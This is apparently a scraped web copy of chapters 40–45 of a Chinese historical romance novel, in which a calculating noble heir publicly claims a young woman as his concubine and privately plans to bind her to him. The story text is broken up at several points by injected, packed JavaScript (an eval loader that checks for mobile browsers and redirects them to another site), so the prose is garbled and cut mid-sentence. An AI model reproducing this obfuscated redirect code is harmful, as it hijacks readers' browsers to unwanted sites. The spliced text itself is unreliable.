她不敢直视他的眼睛,目光落在他的衣襟前,声音带着劫后余生的微喘和显而易见的窘迫与疏离:“多......多谢世子再次出手相救。我......我明白方才情势所迫,世子不得已才出此权宜之计。这披风... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868632|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ...物归原主。” 姜于归刻意强调了权宜之计四个字,声音清晰,像是在急切的为自己,也为对方,找一个体面的台阶下,划清那不该存在的界限。 容璟并未立刻去接那件披风,他好整以暇的看着姜于归这番难得的慌乱姿态,目光在她微微泛红的耳尖上停留了一瞬,这才慢条斯理的伸手,将披风接了回来。 指尖在不经意间,轻轻擦过她捧着披风的指尖。 姜于归的指尖冰凉,带着夜寒的湿气,而他的指尖温热干燥。 那一触即分的冰凉触感,让容璟的眉梢几不可查的动了一下。 容璟随手将披风搭在一旁的紫檀木架子上,然后才转身,看向依旧低着头,浑身不自在的姜于归,语气里听不出什么情绪,仿佛只是随口一问,却又带着某种深意。 他本来确实想问问姜于归对今日之事,被他按上侍妾之名的想法,却不想姜于归先一步开口了。 “哦?姜姑娘不介意?毕竟侍妾之名,于女子清誉而言有损。往后,怕是会影响姑娘的姻缘。” 姜于归猛的抬起头,努力让自己的眼神显得镇定而通透,迎上他看似温和实则探究的目光:“我明白的,那只是世子应对永嘉公主的托词,是为了护我周全,解燃眉之急,我岂会不识好歹,介意这个虚名?” 姜于归顿了顿,然后语气更加诚恳的补充了几句,试图将两人的关系拉回到恩人与受助者的安全距离。 “世子思虑周全,以此身份为由,既全了公主的颜面,给了她一个台阶下,又给了我暂时的庇护,让公主无法再明目张胆的动我。于眼下这般凶险的局面而言,这是最好的解法。我心中......只有感激。还有,谢谢世子......暗中派人保护我。” 想来若非暗卫及时通知了容璟,后果不堪设想。 姜于归自认为将容璟的意图分析得清楚透彻,也将自己的立场表达得明确无误。 她领受这份救命之恩,理解并配合他的权宜之计,但不会,也绝不会将那侍妾的身份当真,妄图飞上纸条。 她感激容璟的保护,但仅此而已。 40. 第 40 章 容璟静静的听着,脸上那抹惯常的,无懈可击的温和笑意似乎深了些许,眼底却掠过一丝幽暗难辨的,如同深渊般的光。 真是体贴,体贴到,让他觉得心中有些不愉! 容璟没有承认,也没有否认姜于归关于托词与权宜的话头,这种不置可否的,高深莫测的态度,反而让姜于归心中那丝隐隐的不安,如同投入湖面的石子,漾开了更大的涟漪。 但容璟似乎并不打算继续这个话题,只是将目光投向窗外沉沉的,不见星月的夜色,语气平淡无波:“回去休息吧。今夜受惊了,好好睡一觉。” 他没有接她的话,没有给她想要的,明确的这只是权宜之计的承诺。 姜于归心中那点不安在扩大,但她此刻确实心神俱疲,头脑混乱,也无暇深思他这暧昧态度背后的含义,只当他是默认了自己的说法,或者觉得没有必要再多做解释。 她福了一礼,低声道:“是。世子也早些安歇。” 说完,她几乎是逃也似的转身,快步离开了这间让她感到无比压抑和困惑的书房。 看着那抹纤细的,带着仓促意味的背影消失在门外,书房的门被长青轻轻合上,容璟脸上那层温和的假面,才如同潮水般缓缓褪去。 他踱步到窗边,负手而立,望着姜于归身影消失的方向,指尖无意识的摩挲着紫檀木窗棂上冰冷的雕花。 托词?权宜之计? 他唇角勾起一抹极淡,极冷的弧度,那弧度里没有丝毫温度,只有一种属于猎食者的,势在必得的残忍。 既然她当时没有反对,当着永嘉,顾守正乃至那么多人的面默认了下来...... 那么,从她选择沉默的那一刻起,这便不再是托词,也不再是权宜之计。 在他容璟的棋盘上,只要是落下子的那一刻,便没有收回的道理。无论那颗子,最初是因何而落。 姜于归聪明的接住了他抛出的救命绳索,却未必看清了,这绳索的另一端,早已在不知不觉中,牢牢系在了他的手腕上。 容璟心中已然打定主意。 这个为了应对危机而临时披上的侍妾身份,他要让它假戏真做,彻彻底底的,成为铁一般的事实。 直到她习惯,直到她认命,直到她......再也无法逃离。 书房内,烛火摇曳,将容璟孤挺的身影拉得忽长忽短,投在冰冷而华丽的墙壁上,一如他此刻晦明不定,暗潮汹涌的心绪。 随后他独自坐在宽大的紫檀木书案后,之前面对姜于归时的所有温和与平静尽数敛去,取而代之的是一种深沉的,近乎冷酷的审慎。 指尖无意识的在光滑的桌面上敲击着,发出规律而轻缓的嗒嗒声,在寂静的房间里格外清晰,像是在计算着某种无形的代价。 窗外是沉沉的夜,浓黑如墨,一如他刚刚搅动起的,深不见底的朝局漩涡。 失算了。 容璟冷静的,近乎残忍的审视着眼前这因一时冲动而彻底改变的情势。 他精心布局多年,如同一只最有耐心的蜘蛛,始终在权力斗争的边缘冷静的编织着一张无形的大网。 他的目标从来不是已成气候,党羽众多的太子,也不是仗着圣宠,锋芒毕露的睿王,而是那个被所有人忽略的,母族卑微,年仅八岁,看似最没有威胁的十一皇子。 原本,他只待太子与睿王斗得两败俱伤,耗尽陛下最后的耐心与亲情,他便可凭借荣国公府与皇室那点微薄却正统的旁系血统威望,联合暗中积蓄的力量,以匡扶社稷,维护正统之名,扶持幼主,稳坐摄政王之位,做一个真正的,掌控一切的幕后权臣。 永嘉公主与睿王,太子与其拥趸,都曾极力拉拢他。而他也一直游刃有余的周旋其间,不拒绝,不承诺,维持着微妙的平衡,不断从双方获取利益,壮大自身,同时冷眼旁观他们互相消耗,只等最佳的入场时机。 然而今夜,这苦心维持的平衡,被他自己亲手打破了。 因为姜于归。 一个他原本只想当作有趣猎物,圈养起来,慢慢赏玩,逐步掌控,用以慰藉他枯燥冰冷人生的女人。 他没有打算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872233|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上演英雄救美的戏码,命运却偏偏将他推到了那个位置,或者说,是姜于归那双在危机中依旧不失清亮倔强的眼睛,和他心底那股莫名躁动,不受控制的力量,共同将他推了出去。 当永嘉公主的护卫伸手抓向姜于归的那一刻,当他看到姜于归眼中那一闪而过的,如同濒死小兽般的惊惶与绝望时,他发现自己无法冷眼旁观,无法像对待其他棋子一样,冷静的权衡利弊,做出最正确的舍弃。 那句她是我的人,看似是急智,是应对危机的托词,但唯有容璟自己知道,在说出那句话的瞬间,他心中掠过的并非全是冰冷的算计,还有一种不容置疑的,近乎本能的占有欲,以及一种连他自己都未曾预料到的,破釜沉舟般的决绝。 代价,便是他不得不提前撕破与睿王,永嘉一派的虚假和平,相当于在明面上,主动选择了太子阵营,彻底站到了睿王集团的对立面。 多年的隐忍与谋划,因这一时的不理智之举,出现了巨大的,难以预料的偏离。他不得不提前卷入这摊浑水,面对更多明枪暗箭。 一丝极淡的,近乎自嘲的弧度在他唇角泛起,转瞬即逝,快得让人无法捕捉。 他容璟算无遗策,竟也有被情绪左右,行此不理智,不计代价的一天。 是为了那双眼睛吗?还是为了那具身体里,与他同样坚韧,却又截然不同的灵魂? 然而,这丝自嘲与那一瞬间的迷茫,如同投入寒潭的石子,只激起细微的涟漪,便迅速沉底,取而代之的,是一种冰封般的,绝对的冷静与锐利。 既然落子,便无悔棋之理。 布局被打乱,那就重新布局。道路被偏离,那就调整方向,走向另一个终点。无非是前路更凶险一些,博弈更激烈一些。 顶级棋手的素质,从来不在于永远按照预设的棋谱行棋,而在于面对任何意外,任何偏离,都能迅速洞悉全局,找到新的最优解,甚至将错就错,反客为主。 他的目光,再次落在那件被随意搭在架子上的玄狐裘披风上。 或许,这未必全是坏事。 41. 第 41 章 烛火在静静燃烧,偶尔爆开一个细微的灯花,在这过分寂静的书房里显得格外清晰。 容璟闭着眼,靠在宽大的紫檀木椅中,俊美的面容在跳动的光影下半明半暗,如同他此刻晦暗难测的心绪。 朝堂之上,永嘉公主与睿王即将施压的危机并未让他慌乱,反而像一剂猛药,催生着他脑海中无数个念头疯狂滋长,碰撞,推演。 利弊在脑中清晰的罗列。 若是彻底加入太子阵营,可以立刻获得太子一系的资源支持,共同对抗睿王,短期内压力分担,目标明确。 不过太子虽然不得陛下特别喜爱,但却并非庸主,且身边亦有能臣。 一旦加入,便是臣属,再难有完全自主的操作空间。 将来若想摆脱,更为困难,无异于与虎谋皮。 如果明投太子,暗中继续他曾经的计划,扶持幼主...... 这样做的话,保留了最终目标的火种。依旧可以利用太子阵营的资源来打击削弱睿王势力,同时暗中积蓄力量,培植十一皇子。 最重要的是,主动权依然部分掌握在自己手中。 不过这样做风险极高,如同在万丈深渊上走钢丝。一旦被太子察觉有二心,必将迎来毁灭性打击。 “噼啪——” 烛火又爆开一个稍大的灯花,映得他浓密的睫毛在眼下投出一小片颤动的阴影。 容璟缓缓睁开眼。 眸中先前所有的权衡,犹豫,利弊交锋都已沉淀下去,取而代之的是一片深不见底的清明与决断。 那幽深的潭水之下,是即将汹涌而起的暗流,与精准到冷酷的算计。 他选择了第二条路。 借太子之力,先除掉睿王与永嘉这个心腹大患,同时,他必须加快步伐,将那个无根基的表弟,牢牢控在手中。 这条路更险,更曲折,遍布荆棘与陷阱,但也更符合他容璟的性子。 他天生就不是甘于人下的角色,伪装温润,是为了更好的掌控,暂时的蛰伏,是为了最终的一击必杀。 既然局面已变,原有的计划被打乱,那就不妨......顺势而为,将这潭水搅得更浑! 他铺开一张宣纸,提起狼毫,蘸饱了墨,笔尖在纸上落下第一个字,动作沉稳,不见丝毫慌乱。 计划偏离又如何? 他容璟,便是要在这偏离的轨道上,重新铺就一条通往权力之巅的路。 而姜于归...... 笔尖在书写间隙,几不可查的微微一顿,墨迹在宣纸上留下一个稍深的印记。 这个意外闯入他生命,让他破例的,甚至在一定程度上搅动了他心绪,间接影响了局面的女人...... 从此,更是他棋盘上无法替代,必须牢牢锁在身边的一枚活子了。 既然她的出现,让他乱了这场局,那么,这意外的代价,他就要连本带利的,从她身上讨回来。 至少,他得到了一个,让他觉得这偏离值得的......战利品。 一个他势在必得,且绝不会再放手的——所有物。 想到这里,一丝极淡的,近乎无形的弧度在他唇角掠过,快得让人无法捕捉。 他收敛心神,继续在宣纸上书写,字迹锋芒内敛,却力透纸背,勾勒着他新的权谋版图。 待最后一笔落下,他搁下笔,指尖无意识的在光滑的桌面上敲击着,目光落在了书案一角。 那里,静静的躺着一根素银簪子。 款式简单,毫无奢华点缀,是姜于归平日里会用的那种。但此刻在烛光下,簪身某处,却隐约能看到一点已经干涸发暗的......血迹。 他的眼神瞬间变得幽深难测。 脑海中,不受控制的回放出不久前的画面。 在姜于归惊魂未定脸色苍白之际,容璟给她披上披风,而后坚定而有力的握住了她那冰凉得吓人,还在微微颤抖的手。 她的手指纤细,柔软,冰冷得像玉。 在他的掌心包裹下,那剧烈的颤抖,一点点的,慢慢的平息下来。 仿佛一只受惊的雀鸟,终于找到了一个可以暂时栖息的,温暖的巢穴。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16876738|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 然后,他极其自然的,动作流畅得仿佛演练过无数次,用另一只手,轻轻取下了她紧握在手中,那根因为过于用力而指节发白的带血的银簪。 “小心伤着自己。”容璟记得当时是这么说的。 姜于归没有反抗,或许是惊吓过度,或许是信任他,任由他拿走了那根作为她今晚唯一防身武器。 此刻,这根银簪就在他的手里。 容璟伸手,将它拿起,冰凉的银质触感传来,与他指尖的温度形成对比。 他细细的把玩着,摩挲着簪子简单的纹路,以及那点已经凝固的肮脏的血迹。 容璟的眼神专注,甚至带着一种近乎痴迷的审视。 姜于归...... 他在心里默念这个名字。 这真是一只......带着爪牙的小兽啊。 看似柔弱,可欺,但在真正的危险面前,她会竖起全身的刺,会用尽一切办法保护自己。哪怕那反抗在绝对的力量面前显得如此微不足道,但她还是会去做。 这根带血的银簪,就是证明。 这证明了她并非温顺的绵羊,她骨子里有着不容践踏的底线和韧性。 而这种韧性,非但没有让容璟觉得麻烦,反而......更加激起了他内心深处那股想要彻底驯服,彻底掌控的欲望。 他要磨平她的爪牙吗? 不。 容璟的指尖轻轻划过那点血迹,眼神幽暗。 他要留着她的爪牙。 他要看着姜于归在他面前张牙舞爪,看着她挣扎,看着她不甘,然后,再亲手,一点点的,将她的反抗碾碎,让她清楚的认识到,无论她如何挣扎,都永远逃不出他的掌心。 容璟将银簪紧紧攥在掌心,那细微的棱角硌着皮肤,带来一种清晰的,属于占有的实感。 他不会还给她。 这不仅是一件物品,这是她反抗的象征,是她脆弱与坚韧并存的证明。 而现在,这个象征,落在了他的手里。 就像她这个人,最终,也必将完全属于他。 42. 第 42 章 与此同时,房间中的姜于归正拥被坐在床上,但却毫无睡意。 窗外月色清冷,透过窗棂洒在地上,如同铺了一层寒霜。 她下意识的抬手想要拆掉头饰躺下,却摸到自己空荡荡的发髻。 总觉得好像少了点什么。 啊......是了,那根银簪。 当时容璟来了以后拉住她的手,拿走了那根簪子,后来......他似乎就没有还给她。 那根普通的,却保护了她的银簪。 姜于归微微蹙眉。 那不是什么贵重东西,丢了也就丢了。 只是......那毕竟是她的东西,上面还沾了血,留在容璟那里,总觉得有些......不妥。 他那样光风霁月,有洁癖的人,想必在看到那血迹的时候,就已经嫌弃的扔掉了吧? 姜于归如是想着,心里那点微小的别扭也就散了。 毕竟,比起一根簪子,她今晚能全身而退,已是不幸中的万幸。 多亏了容璟及时出现...... 想到容璟,她的心情更加复杂。 感激是真,但一种说不清道不明的,仿佛置身于巨大迷雾中的不安,也同样真实存在。 想到那个她不知情,更不知道容璟什么安排在她身边的暗卫...... 姜于归甩甩头,不再去想这些,强迫自己躺下,闭上眼睛。 —————— 后日便是除夕,国公府内张灯结彩的筹备气氛愈发浓烈,红绸灯笼挂满了廊檐,下人们捧着各色年货穿梭不息,每个人的脸上都带着节前的忙碌与喜气。 但这份热闹,却被牢牢隔绝在姜于归客院的院墙之外。 姜于归独自坐在窗前,望着窗外枯寂的竹影在寒风中摇曳,心中是一片小心翼翼的避世之意。 自那日街头风波后,加上被府里人看到她披着容璟的披风归来,那些或探究,或暧昧,或轻蔑的目光,让她如芒在背。 她不想继续被人猜测,她和容璟那说不清道不明的关系,便再未踏出过这方小院,仿佛一只受惊的蜗牛,只想缩在坚硬的壳里,不敢再招惹半分是非。 永嘉公主那双淬毒般的凤眸,容璟当众宣告她是我的人时那不容置疑的语气,都像无形的枷锁,沉重的压在她的心头。 幸而林宴祖父母那边,她已提前请长青帮忙送去了丰厚的年货,并委婉说明了情况,暂时不去探望也无妨。 至于容璟......想到要面对他,那份混杂着感激与莫名心绪的尴尬,更让她只想逃避。她甚至刻意避开了平日送药膳的时间。 “姜姑娘。” 一个穿着体面藕荷色一群,眉眼伶俐的二等丫鬟笑吟吟的敲门进来,规规矩矩的福了一礼:“奴婢春杏,奉管事之命前来,请您去祈福树一趟。” 姜于归从沉思中回过神,微微一怔:“祈福树?” 她从未听说过国公府内有这样的地方。 春杏语气轻快,带着恰到好处的热情:“是呀!这是咱们府里传承了好些年的老习俗了,每逢除夕前,府里的主子,有头脸的管事,乃至各院得脸的姐姐们,都要去园子里那棵老榕树下挂一枚岁岁铃,将心愿写在笺条上系于铃下。据说那棵树有灵性,铃声响,祈平安,寓意好着呢!” 她指了指窗外:“您听,现在就能隐约听到铃声。” 姜于归凝神细听,风中果然传来细碎清灵的铃音,若有若无,却带着一种奇异的安抚力量。 春杏继续道:“铃铛和笺条都备好了,姑娘随奴婢去选一个,挂上便好,不费什么功夫的。” 竟是这样的习俗,姜于归沉寂了几日的心,被祈平安三个字轻轻拨动了一下。 能为林宴祈求平安,这个念头让她无法拒绝。 而且,只是在府内挂个铃铛,应该很快就能回来,不会遇到什么麻烦吧? 她实在不想因为自己的过度谨慎,连为林宴祈福这点心意都错过。 姜于归站起身,脸上露出了几日来第一个轻松些的表情:“好,我随你去。” “哎,好嘞!”春杏笑容更甜,侧身引路。 跟着春杏穿过层叠的院落,越往里走,节日的氛围越发浓郁。 终于来到一处较为开阔的园子,园中央果真矗立着一棵极古老的梧桐树,枝干向四面八方伸展,虽在冬日落叶尽褪,但那磅礴的生命力依旧扑面而来,令人心生敬畏。 此刻,光秃的树枝上已然挂了不少精致的银铃,小巧的铃身反射着冬日淡薄的阳光,铃下缀着各色玫红,宝蓝的笺条, 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春杏的声音在一旁响起,带着一丝恰到好处的为难,打断了姜于归的凝望:“管事方才派人来跟我说,发放出去的铃铛数目似乎对不上,恐有疏漏,让奴婢赶紧去库房再核对领取一些,免得耽误了后续的事儿。您看......” 姜于归不疑有他,立刻点头:“正事要紧,你快去吧。” 春杏感激的道:“多谢姑娘体谅,天冷风大,姑娘久站恐要生病。回客院的路您还记得吧?就顺着刚才咱们来的那条路往回走,穿过两道月亮门就到了。” 姜于归还是笑着点点头,表示自己记住了,春杏这才匆匆行礼,朝着与来路相反的另一个方向快步离去。 园子里的人渐渐散尽,愈发安静,姜于归独自站在树下,又仰头看了会儿自己那枚混在众多铃铛中,并不起眼的岁岁铃,心中默念了一遍祝愿,这才拢了拢并不单薄的衣襟,依着记忆,沿着来时的青石小径缓步往回走。 寒风掠过枯枝,带起一片铃铛的清响,听着让人心静。 她穿过一道月亮门,行至一处假山环绕,略显僻静的小径时,却忽然被一个带着哭腔的,娇蛮焦急的声音打断。 43. 第 43 章 “雪团儿!雪团儿你快出来!别吓我呀!你再不出来,我,我让人拆了这些破石头!” 姜于归循声望去,只见一个穿着大红色枝梅袄子,头戴点翠珊瑚珠花,年纪约莫十二三岁的小姑娘,正提着精致的绣花裙摆,不顾形象的在假山石洞,和枯黄的草丛边焦急的弯腰寻找,时不时还用脚踢一下碍事的石子。 她粉嫩的脸颊急得通红,眼圈里蓄满了泪水,眼看就要掉下来,一副被宠坏了,受不得半点委屈的模样。 那小姑娘也看见了姜于归,见她衣着素雅,料子尚可但绝非名贵,发型简单,并非府里丫鬟的统一装束,但也绝非主子们的华服规制。 她此刻心急如焚,也顾不得细究对方身份,带着惯有的命令口吻,指着姜于归道:“你!过来帮本小姐找找雪团儿!” 说话间,小姑娘用手比划着:“它是一只这么点大,通体雪白,尾巴像朵花儿的狮子狗,最是胆小了,定是不知道被什么吓到,躲到哪个角落里去了!” 姜于归愣了一下,看着对方通身的气派和那不容置疑的语气,心中已然猜到了八九分。 想必这位是府中那位金尊玉贵,被千娇万宠着长大的五小姐容欢了。 姜于归心下暗暗叫苦,她只想悄无声息的回到自己那方小天地里去,实在不愿与府中主子多有牵扯,尤其是这般年幼骄纵,喜怒无常的小姐,最是难缠。一个应对不当,便是麻烦。 可对方身份尊贵,又明显处于焦急无助的时刻,再想到自己寄人篱下的处境,若断然拒绝,只怕立时就要得罪人,往后在府中的日子更不好过。 姜于归只得压下心中的无奈,走上前去道:“好,我帮您一同找找看。” 她一边应着,一边目光扫过错综复杂的假山群,心中只盼着那只名叫雪团儿的小狗能赶紧自己跑出来,好让她尽快脱身。 姜于归在冰冷的假山石间弯着腰,学着容欢的样子,轻声唤着雪团儿,雪团儿,心头却是一片茫然与无奈。 这假山范围不小,缝隙极多,一只受惊的小狗若诚心要躲,哪里是那么容易找到的? 她只觉今日真是流年不利,只想尽快脱身。 “雪团儿——!你快出来——!”容欢带着哭音的呼唤在假山间回荡。 就在这时,一个沉稳的男声自小径另一头响起,打破了这徒劳的寻找。 “五小姐,您的狗在这里。” 姜于归也顺着声音回头,便见到了一个身着玄色劲装,气质精干利落的男子正大步走来。 她认得,这人也是容璟身边时常跟随的护卫之一,名叫长风。 而长风的手臂间,正稳稳的托抱着一只通体雪白,毛发蓬松如云团的小狮子狗。 那小狗在他怀里甚是安稳,一双乌溜溜的眼睛正好奇的张望着,丝毫不见受惊的模样。 “雪团儿!” 容欢立刻欢呼一声,脸上瞬间阴转晴,尽是失而复得的欣喜,方才的焦急眼泪瞬间收了回去,提起裙子就飞奔过去,从长风手中近乎抢夺般抱过自己的爱犬,紧紧搂在怀里,心肝宝贝的哄着:“你跑到哪里去了?吓死我了!真是淘气!” 安抚了小狗片刻,她才想起来旁边还有个被她叫来帮忙的姜于归。 容欢立刻转头,脸上恢复了之前的骄纵和颐指气使,用抱着狗的手随意的挥了挥,仿佛驱赶什么不相干的人。 “哼,真是笨死了!找了半天还找不到,白费功夫!还是长风哥哥厉害,一找就找到了。算了算了,不用你了,你走吧。” 那语气,那神态,浑然天成,仿佛姜于归是与她身边那些可以随意呼来喝去的丫鬟一般,甚至连句基本的有劳或多谢都吝于给予。 听着五小姐那毫不掩饰的嫌弃话语,看着她那理所当然的态度,姜于归站在原地,胸口确实堵了一下,像是不小心吸入了一口浊气,闷闷的,有些发胀。 但奇怪的是,那预想中的愤怒和委屈并没有汹涌而来。 或许是因为容欢只是个被宠坏的孩子,言语伤人却并无多少城府和恶意,更像是一种无知的天真残忍。 又或许是她来自现代的灵魂,对这种基于身份地位的轻蔑有着天然的免疫力,深知其浅薄与可笑,并不真正往心 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而那些知道她身份的人,想必也不会那么八卦的去关注容璟一个侍妾的动向吧? 毕竟,一个“失宠”被送出府的女人,在这高门大户里,实在算不得什么新鲜事。 想到这里,姜于归心中那口浊气似乎缓缓吐了出来,眼神重新变得坚定而平静。 她甚至没有再看容欢和长风一眼,转身便欲安静的离开这是非之地。 就在她准备将这口气无声咽下,默默离开时,一个清冷低沉,辨识度极高的声音,自身侧那片疏影横斜的梅林小径中响起。 “容欢。” 仅仅两个字,没有任何疾言厉色,甚至听不出什么情绪,却像一道无形的冰凌,瞬间刺破了空气,让抱着狗,正欲向长风撒娇抱怨的容欢猛的一个激灵,脸上的得意和娇蛮瞬间冻结,取而代之的是一种小动物遇到天敌般的惊惧与慌乱。 容欢僵硬的转过身,看向从梅影深处缓步走出的容璟,声音都带了颤:“大......大哥......” 44. 第 44 章 姜于归脚步一顿,心下暗叹,真是怕什么来什么。 她没想到还是在这里遇上了容璟,秀眉不自觉的微蹙,脸上闪过一丝无奈与惊讶。 容璟的目光先是在姜于归微蹙的眉心,和那紧抿的,透露着隐忍的唇线上极快的掠过,眸色几不可察的沉了一分,然后才落到容欢身上,语气平淡,却带着山雨欲来的压迫感。 “我平日是如何教你的?国公府的小姐,便是这般与人说话的?一点规矩体统都没有了?” 容欢被他看得头皮发麻,下意识的抱紧了怀里的狗,那狗似乎也感知到气氛不对,呜咽了一声。 容欢兀自嘴硬,抬手指着姜于归,试图为自己辩解:“我......我又没说错!她......她一个不明不白住在府里的人,谁知道是什么身份,我凭什么要跟她客气......” 然而,在容璟那平静无波却极具穿透力的注视下,她说话的声音越来越小,气势也越来越弱,到最后更是轻不可闻,只剩下眼底的委屈和害怕。 姜于归见她越说越难听,又见容璟脸色沉静如水,生怕事情闹大,于是连忙上前一步,试图打个圆场,脸上挤出一个略显僵硬的笑容,温声道:“世子,五小姐年纪还小,不过是无心之言,我并未放在心上,此事就算......” 她的话未说完,容璟便抬起手,做了一个极轻却不容置疑的打断手势。 他没有看她,目光依旧锁在容欢那张渐渐失去血色的小脸上,但说出的话,却是对着容欢,也清晰的传入了在场每一个人的耳中,包括一旁垂手肃立,如同背景板的长风。 “不明不白?” 容璟重复了一遍这四个字,声音比方才又冷了几分,像是淬了冰。 “看来,是我未曾与你们分说清楚。” 他顿了顿,每一个字都清晰无比,掷地有声,在这寂静的假山间回荡:“姜姑娘,是我房里的人。” 他并未再用侍妾那个带着明确阶层和屈辱感的词,但房里的人这四个字,在世家大族里,其含义不言自明,甚至比侍妾更带有一丝私密的,不容外人置喙的占有意味。 容欢的小脸瞬间白了,她难以置信的瞪大了眼睛,目光在姜于归和容璟之间来回逡巡。 姜于归亦是如此,甚至脸色更加难以置信,瞳孔微缩,下意识的想要开口否认,却被容璟一个看似随意扫过,却带着警告意味的眼神制止。 容欢年岁小,心思单纯,没能看透姜于归那瞬间的惊诧与抗拒,自然就没能看穿这个说辞背后的蹊跷。 她只看到大哥面色沉肃,毫无玩笑之意,终于彻底明白了,眼前这个看似普通,衣着素净的女子,为何能让一向不管闲事的大哥亲自出面维护。 “现在!” 容璟的声音将她从震惊和恐惧中拉回,带着不容抗拒的命令,目光如炬:“道歉。” 容欢吓得眼圈一红,怀里的狗都快抱不住了,声音里带着哭腔和满满的委屈,看向姜于归,飞快的,含混不清的说了一句:“对......对不起......” 说完,她再也忍不住,像是身后有猛兽追赶一般,抱着狗,几乎是哭着跑开了,连回头看一眼的勇气都没有。 一场小小的风波,以容欢的狼狈退场告终。 长风极有眼色的无声退至更远的阴影处,垂首而立,仿佛与假山融为一体。 姜于归站在原地,心情复杂到了极点,像是打翻了五味瓶。 容璟的维护让她免于了一场难堪,可是心底却一丝感激都没有。 他那种不容分说的,将她贴上私有物标签的方式,又让她感到一种更深沉的无力与窒息。 她仿佛是他掌心的一件物品,他可以随意决定她的归属,并让所有人都知道这一点,甚至连一句征求她同意的意思都没有。 她不再是之前那种被动承受,暗自神伤的姿态,而是深吸一口气,转过身,抬眸直直的看向容璟,目光清亮而直接,甚至带着一丝不易察觉的锐利,望定他。 张了张嘴,但是这一次,她没有像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜于归的声音里没有半分被维护的窃喜或感动,只有浓浓的不解和一种被侵犯了界限的不安。 “可你没有,你偏偏还是选择了和面对永嘉公主时,一模一样的说法。” 姜于归觉得心烦意乱,一种被无形绳索越捆越紧的感觉让她几乎喘不过气。 “我不明白。对付一个不懂事的孩子,有必要动用和对付永嘉公主一样的,这般......这般引人遐想的身份吗?这根本没必要!” 45. 第 45 章 在她看来,逻辑清晰无比,对付永嘉公主,需要一个足够亲密,足够有分量,能形成有效对抗的身份。 可对付一个十一二岁,只需稍加管教就能镇住的五小姐,用客人的身份来教导她待客之道,名正言顺,且不会引起任何不必要的联想和后续麻烦。 容璟心思缜密,算无遗策,怎么会想不到这一点?除非......他根本就是故意的。 姜于归终于将心中的疑问尽数抛出,胸口因激动而微微起伏,一双明眸紧紧盯着容璟,等待着他的回答。 她不相信以他的心机,会想不到更简单,更不引人遐想的方法。 他这么做,一定有他的目的。而这个目的,让她因为心中始终装着林宴,而感到格外的不安与抗拒。 容璟此举,在她看来,并非单纯的维护,更像是一种不容拒绝的标记,一种无声的宣告。 空气仿佛凝固了,只有寒风掠过枯枝发出的细微声响。 容璟静静的听着她的质问,脸上依旧没什么明显的表情,只是那双深邃的眼眸,变得更加幽暗,仿佛有深不见底的漩涡在其中酝酿,能将人的灵魂吸进去。 他没有立刻回答,周围陷入一种令人心慌的沉默,姜于归甚至能听到自己有些过速的心跳声。 二人就这样对峙了许久,而姜于归脸上是一副容璟若不说出个令人信服的所以然来,便誓不罢休的执拗架势。 容璟知道,今日必须给出一个解释。 但他脸上丝毫没有被戳破心思的恼怒,也没有急于解释的仓促,他甚,极轻的,难以察觉的笑了一声,那笑声很淡,带着一种一切尽在掌握的从容,以及几分你果然还是太天真的意味。 容璟向前走了一步,拉近了两人之间的距离。 他身量很高,这般近距离的居高临下看着她,带来一种无形的压迫感。 他的目光深邃,仿佛能穿透她强装的镇定,看到她心底深处的那丝慌乱与不确定。 容璟语调平缓,却带着一种不容置疑的,剖析事实的冷酷力道:“姜姑娘觉得你所说的客人身份,在这深府之内,就真的很妥当,真的能护得住你周全吗?” 他不答反问,将问题抛了回来。 “姜姑娘,你以为客人二字,在这国公府,乃至整个盛京,意味着什么?意味着疏远,意味着随时可以离开,意味着......无足轻重。” 他的目光锐利如刀,一字一句,清晰的剖析着这府中,乃至这京城最现实,最残酷的规则。 “今日是容欢年幼无知,冲撞于你。他日,若无这层明确的归属,或许便是其他更懂得看人下菜碟的仆役暗中怠慢,或许是来自府外,知晓你与林宴关系的其他麻烦找上门来。客人的身份,太过模糊,太过脆弱,它给不了你任何实质的庇护。” 容璟的话语像冰锥,一下下凿击着姜于归之前那点天真的想法。 “唯有将你明确的划入我的领地,打上我的印记,让府内府外所有人都清楚知道——动你,便是与我容璟为敌。这才是最简单,也最有效的保护。” 他看着姜于归微微睁大的眼睛,知道她听懂了这话表面的逻辑,但未必全信,也未必接受其下的深层含义。 他并不在意,只是最后淡淡的补充了一句,带着一种近乎残酷的坦诚。 “况且,我既当众说了,便没有收回的道理。无论是出于何种缘由,既然开始了,便要贯彻到底。朝令夕改,只会引来更多的猜忌和不必要的麻烦。这,才是处世之道。” 